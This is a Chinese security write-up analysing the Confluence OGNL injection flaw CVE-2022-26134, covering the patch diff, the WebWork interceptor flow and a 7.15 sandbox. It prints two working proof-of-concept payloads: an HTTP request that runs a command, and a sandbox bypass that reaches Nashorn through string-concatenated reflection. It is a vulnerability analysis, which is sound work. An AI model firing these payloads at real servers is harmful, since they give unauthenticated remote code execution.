confluence-CVE-2022-26134漏洞分析
2022-6-24 15:36:48 Author: www.secpulse.com(查看原文) 阅读量:34 收藏

漏洞背景

官方链接:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

Summary CVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability in Confluence Server and Data Center
Advisory Release Date 02 Jun 2022 1 PM PDT (Pacific Time, -7 hours)
Affected Products ConfluenceConfluence ServerConfluence Data Center
Affected Versions All supported versions of Confluence Server and Data Center are affected.Confluence Server and Data Center versions after 1.3.0 are affected.
Fixed Versions 7.4.17
7.13.7
7.14.3
7.15.2
7.16.4
7.17.4
7.18.1

所有版本的 Confluence 和 DataCenter 都会受影响

临时修复方式:

  • 7.15.0-7.18.0: 替换xwork-1.0.3-atlassian-10.jar文件
  • 6.0.0-7.14.2: 替换以下文件
    • xwork-1.0.3-atlassian-10.jar
    • webwork-2.1.5-atlassian-4.jar
    • CachedConfigurationProvider.class

代码分析

diff 补丁

xwork-1.0.3-atlassian-10.jar和低版本进行反编译 diff

区别在于将

finalNamespace = TextParseUtil.translateVariables(this.namespace, stack = ActionContext.getContext().getValueStack())
finalActionName = TextParseUtil.translateVariables(this.actionName, stack))

修改为

finalNamespace = this.namespace, 
finalActionName = this.actionName

少了TextParseUtil.translateVariables()的流程

该函数处理调用了

Object o = OgnlValueStack.findValue(g);

...

Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);

较为明显的ognl表达式注入,那我们来看一下具体的触发流程。

WebWork 框架分析

Confluence 使用 WebWork 框架,框架调用流转图, 整个 HTTP 请求逻辑是随着这个框架处理流程来的。

  1. 客户发起 HTTP 流程访问
  2. 按照 servlet 规范,先由 filter 进行处理,然后由 WebWork 核心控制器 ServletDispatcher 进行处理
  3. WebWork 根据 xwork.xml 配置文件 来处理请求:在配置文件中定义路由对应的拦截器,业务逻辑,业务逻辑响应等部分
  4. 先依次调用拦截器(before),然后再由业务逻辑处理
  5. 根据业务逻辑返回的响应类型对响应进行渲染
  6. 依次调用拦截器(after),然后将响应输出

confluence 在web.xml中引入WebWork框架配置

<servlet>
 <servlet-name>action</servlet-name>
 <servlet-class>com.atlassian.confluence.servlet.ConfluenceServletDispatcher</servlet-class>
 <load-on-startup>1</load-on-startup>
</servlet>

<servlet-mapping>
 <servlet-name>action</servlet-name>
 <url-pattern>*.action</url-pattern>
</servlet-mapping>

ConfluenceServletDispatcher基类com.opensymphony.webwork.dispatcher.ServletDispatcher

框架配置说明文件:xwork.xml文件,在 jar 包confluence-版本号.jar

对配置文件进行说明

一个Demo 🌰

action 映射逻辑,指定 url 映射的处理类

请求如下的url/person/jasperList.action

  1. package 命名空间 name:person, namespace person , 对应一级路径
  2. action 最小的处理单元,name:jasperList, 对应二级路径,class 处理类:com.opensymphony.webwork.showcase.jasper.JasperAction
  3. result 响应结果是枚举类型 "success", 响应类型为 jasper
  4. param 参数:参数名和参数类型

再举一个例子 login.action

confluence 7.4.10 版本 xwork.xml 文件,default命名空间下的login action,访问路径/login.action

  1. package 命名空间 name:default,在未匹配到命名空间的情况下映射到该命名空间处理。(注意此刻一级目录为空)
  2. action name:login, class 处理类:com.atlassian.confluence.user.actions.LoginAction , 处理方法doDefault
  3. interceptor-refvalidatingStack,引用拦截器validatingStack
  4. 响应结果input, 类型为 velocity,使用login.vm进行渲染

interceptor-ref配置的拦截器集合validatingStack,其中又引用了defaultStack,captcha,validator,workflow,profiling等拦截器, 拦截器集合是可以进行嵌套的。

 <interceptor-stack name="validatingStack">
 <interceptor-ref name="defaultStack"/>

 <!--Must come after pageAware and spaceAware, as the view rendered in a response to a failed validation may access properties of page and/or space objects.-->
 <interceptor-ref name="captcha"/>

 <interceptor-ref name="validator"/>
 <interceptor-ref name="workflow"/>
 <interceptor-ref name="profiling">
  <param name="location">After validatingStack</param>
 </interceptor-ref>
</interceptor-stack>

再再举一个例子 index.action

default命名空间下,默认访问的 action 为index,访问根目录会使用index进行响应

<action name="index" class="com.atlassian.confluence.core.actions.IndexAction">
 <interceptor-ref name="defaultStack"/>
 <result name="redirect" type="redirect">${location}</result>
 <result name="forward" type="dispatcher">${location}</result>
</action>

配置了defaultStack进行处理

看一下defaultStack拦截器的配置,注意拦截器是按照配置依次调用的,存在顺序。

<interceptor-stack name="defaultStack">
 <interceptor-ref name="profiling">
  <param name="location">Before defaultStack</param>
 </interceptor-ref>
 <interceptor-ref name="securityHeaders"/>
 <interceptor-ref name="setupIncomplete"/>
 <interceptor-ref name="transaction"/>
 <interceptor-ref name="params"/>
 <interceptor-ref name="autowire"/>
 <interceptor-ref name="lastModified"/>
 <interceptor-ref name="servlet"/>
 <interceptor-ref name="flashScope"/>
 <interceptor-ref name="confluenceAccess"/>
 <interceptor-ref name="spaceAware"/>
 <interceptor-ref name="pageAware"/>
 <interceptor-ref name="commentAware"/>
 <interceptor-ref name="userAware"/>
 <interceptor-ref name="prepare"/>
 <!-- Must come after pageAware and spaceAware to make sure that pages and spaces are loaded-->
 <!-- Must come before permissions as isPermitted might require some bootstrapping-->
 <interceptor-ref name="bootstrapAware"/>
 <interceptor-ref name="permissions"/>
 <!-- It's a good idea to put this after the permissions check, in case you can determine the existence
   of a space by whether the error page is themed! -->
 <interceptor-ref name="themeContext"/>

 <interceptor-ref name="webSudo"/>
 <interceptor-ref name="httpMethodValidator"/>
 <!--Must come after pageAware and spaceAware since at the moment, some implementations of ConfluenceActionSupport.getCancelResult(), do work against the database with pages and spaces.-->
 <!--Also must come before captcha, else a form with captcha won'

t be cancellable. Also must come before the validator (as validation should be skipped on cancel)-->
 <interceptor-ref name="cancel"/>

 <interceptor-ref name="loggingContext"/>
 <interceptor-ref name="eventPublisher"/>
 <interceptor-ref name="messageHolder"/>
 <interceptor-ref name="httpRequestStats"/>
 <interceptor-ref name="licenseChecker"/>
 <interceptor-ref name="xsrfToken"/>
 <interceptor-ref name="profiling">
  <param name="location">After defaultStack</param>
 </interceptor-ref>
</interceptor-stack>

关注其中的confluenceAccess拦截器,该拦截器定义如下

<interceptor name="confluenceAccess" class="com.atlassian.confluence.security.interceptors.ConfluenceAccessInterceptor" />

intercept 函数

如果!this.isAccessPermitted(actionInvocation)返回为否,那么调用actionInvocation.invoke(), 调用下一个 intercept,如果返回为,也就是没有权限,返回为notpermitted

默认未授权访问,即action=index时,是没有权限的,此刻会响应notpermittedresult类型之一

如果授权会调用actionInvocation.invoke(),调用下一个拦截器,如果响应resultCode,会调用this.execuResult(), 大家可以回想一下 WebWork 的数据流图。代码逻辑如下

如果响应有权限,那么会递归调用actionInvocation.invoke(), 否则输出 resultCode,进入 executeResult()。

接下来跟踪调用栈,ActionChainResult#exec调用了[email protected], 然后就快进到 ongl 表达式的执行流程了

可知 namespace 是我们可控的 url 路径参数

可以函数com.opensymphony.xwork.util.OgnlValueStack#findValue看到调用Ognl.getValue即可造成 ognl 代码执行

相应poc如下

GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/pwned%22%29%7D/ HTTP/1.1
Host: 10.211.55.8:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=4290F6F6B5E0E923B2905B45CBE887AB
Upgrade-Insecure-Requests: 1

绕沙箱

关注一下com.opensymphony.xwork.util.OgnlValueStack#findValue实现

官方说明:https://confluence.atlassian.com/doc/preparing-for-confluence-7-15-1087507468.html

在 7.15 版本中添加,阻止对 java 特定类和特定包访问,与https://struts.apache.org/security/#internal-security-mechanism相似

表达式经过safeExpressionUtil.isSafeExpression判断

com.opensymphony.xwork.util.SafeExpressionUtil沙箱类分析

关键配置

  • xwork.excludedClasses - a comma-separated list of excluded classes.

  • xwork.excludedPackageNames - a comma-separated list of excluded packages, used to restrict all classes inside a particular package or its sub-packages.

  • xwork.allowedClasses - a comma-separated list of particular classes to be marked as allowed specifically, even if the parent package is restricted or its static method is used.

黑白名单列表

<constant name="xwork.excludedClasses"
 value="
 java.lang.Object,
 java.lang.Runtime,
 java.lang.System,
 java.lang.Class,
 java.lang.ClassLoader,
 java.lang.Shutdown,
 java.lang.ProcessBuilder,
 java.lang.Thread,
 sun.misc.Unsafe,
 com.opensymphony.xwork.ActionContext
 java.lang.Compiler,
 java.lang.InheritableThreadLocal,
 java.lang.Package,
 java.lang.Process,
 java.lang.RuntimePermission,
 java.lang.SecurityManager,
 java.lang.ThreadGroup,
 java.lang.ThreadLocal,
 javax.script.ScriptEngineManager,
 javax.servlet.ServletContext,
 javax.persistence.EntityManager,
 org.apache.tomcat.InstanceManager,
 org.springframework.context.ApplicationContext,
 com.atlassian.applinks.api.ApplicationLinkRequestFactory,
 com.atlassian.core.util.ClassLoaderUtils,
 com.atlassian.core.util.ClassHelper"
 />

 <constant name="xwork.excludedPackageNames"
 value="
 ognl,
 java.io,
 java.net,
 java.nio,
 javax,
 freemarker.core,
 freemarker.template,
 freemarker.ext.jsp,
 freemarker.ext.rhino,
 sun.misc,
 sun.reflect,
 javassist,
 org.apache.velocity,
 org.objectweb.asm,
 org.springframework.context,
 com.opensymphony.xwork.util,
 org.apache.tomcat,
 org.apache.catalina.core,
 org.wildfly.extension.undertow.deployment
 java.lang.reflect,
 com.atlassian.cache,
 com.atlassian.confluence.util.http,
 com.atlassian.failurecache,
 com.atlassian.vcache,
 com.atlassian.sal.api.net,
 com.google.common.cache,
 com.google.common.net,
 com.hazelcast,java.jms,
 java.rmi,
 javax.management,
 javax.naming,
 org.apache.catalina.session,
 org.apache.commons.httpclient,
 org.apache.httpcomponents.httpclient,
 org.apache.http.client,
 org.ehcache,
 com.google.common.reflect,
 com.sun.jmx,com.sun.jna,
 javax.xml,jdk.nashorn,
 net.bytebuddy,
 net.sf.cglib,org.apache.bcel,
 org.javassist,org.ow2.asm,
 sun.awt.shell,
 sun.corba,
 sun.invoke,
 sun.launcher,
 sun.management,
 sun.misc,
 sun.net,
 sun.nio,
 sun.print,
 sun.reflect,
 sun.rmi,
 sun.security,
 sun.tracing,
 sun.tools.jar,
 com.atlassian.activeobjects,
 com.atlassian.hibernate,
 java.sql,
 javax.persistence,
 javax.sql,
 liquibase,
 net.java.ao,
 net.sf.hibernate,
 com.atlassian.confluence.setup.bandana,
 com.atlassian.filestore,
 com.atlassian.media,
 com.google.common.io,
 java.util.jar,
 java.util.zip,
 org.apache.commons.io,
 com.atlassian.confluence.impl.util.sandbox,
 com.atlassian.confluence.util.io,
 com.atlassian.confluence.util.sandbox,
 com.atlassian.quartz,
 com.atlassian.scheduler,
 com.atlassian.utils.process,
 com.atlassian.util.concurrent,
 io.atlassian.util.concurrent,
 java.util.concurrent,
 org.apache.commons.exec,
 org.springframework.expression.spel,
 org.springframework.util.concurrent,
 org.quartz,
 oshi"
 />

<constant name="xwork.allowedClasses"
 value="com.atlassian.confluence.util.GeneralUtil,
  java.io.Serializable,
  java.lang.reflect.Proxy,
  net.sf.hibernate.proxy.HibernateProxy,
  net.sf.cglib.proxy.Factory,
  java.io.ObjectInputValidation,
  net.java.ao.Entity,
  net.java.ao.RawEntity,
  net.java.ao.EntityProxyAccessor"
 />

沙箱核心逻辑,调用OgnlUtil.compile对表达式进行解析,对每一个 node compile 之后进行递归的安全判断。

 private boolean isSafeExpressionInternal(String expression, Set<String> visitedExpressions) {
 if (!this.SAFE_EXPRESSIONS_CACHE.contains(expression)) {
  if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expression)) {
   return false;
  }

  if (this.isUnSafeClass(expression)) {
   this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
   return false;
  }

  if (SourceVersion.isName(this.trimQuotes(expression)) && this.allowedClassNames.contains(this.trimQuotes(expression))) {
   this.SAFE_EXPRESSIONS_CACHE.add(expression);
  } else {
   try {
    Object parsedExpression = OgnlUtil.compile(expression);
    if (parsedExpression instanceof Node) {
     if (this.containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) {
      this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
      log.debug(String.format("Unsafe clause found in [" %s "]", expression));
     } else {
      this.SAFE_EXPRESSIONS_CACHE.add(expression);
     }
    }
   } catch (RuntimeException | OgnlException var4) {
    this.SAFE_EXPRESSIONS_CACHE.add(expression);
    log.debug("Cannot verify safety of OGNL expression", var4);
   }
  }
 }

 return this.SAFE_EXPRESSIONS_CACHE.contains(expression);
}

通过字符串拼接的方式绕过 node 类型为ASTconstant判断逻辑

private boolean containsUnsafeExpression(Node node, Set<String> visitedExpressions) {
 String nodeClassName = node.getClass().getName();
 if (UNSAFE_NODE_TYPES.contains(nodeClassName)) {
  return true;
 } else if ("ognl.ASTStaticMethod".equals(nodeClassName) && !this.allowedClassNames.contains(getClassNameFromStaticMethod(node))) {
  return true;
 } else if ("ognl.ASTProperty".equals(nodeClassName) && this.isUnSafeClass(node.toString())) {
  return true;
 } else if ("ognl.ASTMethod".equals(nodeClassName) && this.unsafeMethodNames.contains(getMethodInOgnlExp(node))) {
  return true;
 } else if ("ognl.ASTVarRef".equals(nodeClassName) && UNSAFE_VARIABLE_NAMES.contains(node.toString())) {
  return true;
 } else if ("ognl.ASTConst".equals(nodeClassName) && !this.isSafeConstantExpressionNode(node, visitedExpressions)) {
  return true;
 } else {
  for(int i = 0; i < node.jjtGetNumChildren(); ++i) {
   Node childNode = node.jjtGetChild(i);
   if (childNode != null && this.containsUnsafeExpression(childNode, visitedExpressions)) {
    return true;
   }
  }

  return false;
 }
}

两个关键点

  1. 利用反射构造恶意对象及实例
  2. 利用字符串拼接绕过常量匹配

对应 poc 如下

/%24%7BClass.forName(%22java%22%2B%22x.script.Script%22%2B%22EngineManager%22).newInstance().getEngineByName(%22nashorn%22).eval(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/test2%27)%22)%7D/

end

本文作者:ChaMd5安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/181830.html


文章来源: https://www.secpulse.com/archives/181830.html
如有侵权请联系:admin#unsafe.sh